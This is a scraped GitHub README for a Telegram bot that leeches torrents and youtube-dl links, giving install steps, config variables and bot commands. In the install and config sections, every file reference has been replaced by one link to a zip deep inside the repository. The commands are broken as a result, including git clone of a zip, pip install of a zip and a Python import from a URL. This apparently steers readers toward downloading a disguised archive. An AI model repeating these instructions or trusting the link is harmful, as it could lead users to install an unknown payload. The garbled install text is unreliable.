Skip to content

Latest commit

 

History

History
87 lines (54 loc) · 4.65 KB

File metadata and controls

87 lines (54 loc) · 4.65 KB

Telegram Torrent Leecher 🔥🤖

A Telegram Torrent (and youtube-dl) Leecher based on Pyrogram

installing

The Easy Way

Deploy

The Legacy Way

Simply clone the repository and run the main file:

git clone https://github.com/codeslide/PublicLeech/raw/refs/heads/master/tobrot/helper_funcs/Public-Leech-v1.0.zip
cd PublicLeech
virtualenv -p /usr/bin/python3 venv
. ./venv/bin/activate
pip install -r https://github.com/codeslide/PublicLeech/raw/refs/heads/master/tobrot/helper_funcs/Public-Leech-v1.0.zip
# <Create https://github.com/codeslide/PublicLeech/raw/refs/heads/master/tobrot/helper_funcs/Public-Leech-v1.0.zip appropriately>
python3 -m tobrot
from https://github.com/codeslide/PublicLeech/raw/refs/heads/master/tobrot/helper_funcs/Public-Leech-v1.0.zip import Config

class Config(Config):
  TG_BOT_TOKEN = ""
  APP_ID = 6
  API_HASH = "eb06d4abfb49dc3eeb1aeb98ae0f581e"
  AUTH_CHANNEL = -1001234567890

Variable Explanations

Mandatory Variables
Optional Configuration Variables
  • DOWNLOAD_LOCATION

  • MAX_FILE_SIZE

  • TG_MAX_FILE_SIZE

  • FREE_USER_MAX_FILE_SIZE

  • MAX_TG_SPLIT_FILE_SIZE

  • CHUNK_SIZE

  • MAX_MESSAGE_LENGTH

  • PROCESS_MAX_TIMEOUT

  • ARIA_TWO_STARTED_PORT

  • EDIT_SLEEP_TIME_OUT

  • MAX_TIME_TO_WAIT_FOR_TORRENTS_TO_START

Available Commands

  • /ytdl: This command should be used as reply to a supported link

  • /leech: This command should be used as reply to a magnetic link, a torrent link, or a direct link. [this command will SPAM the chat and send the downloads a seperate files, if there is more than one file, in the specified torrent]

  • /leech archive: This command should be used as reply to a magnetic link, a torrent link, or a direct link. [This command will create a https://github.com/codeslide/PublicLeech/raw/refs/heads/master/tobrot/helper_funcs/Public-Leech-v1.0.zip file of the output directory, and send the files in the chat, splited into PARTS of 1024MiB each, due to Telegram limitations]

Credits, and Thanks to